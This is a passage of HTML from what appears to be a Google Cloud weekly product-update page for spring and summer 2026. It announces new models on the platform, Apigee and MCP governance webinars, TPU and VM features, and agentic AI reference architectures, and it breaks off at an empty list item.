<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
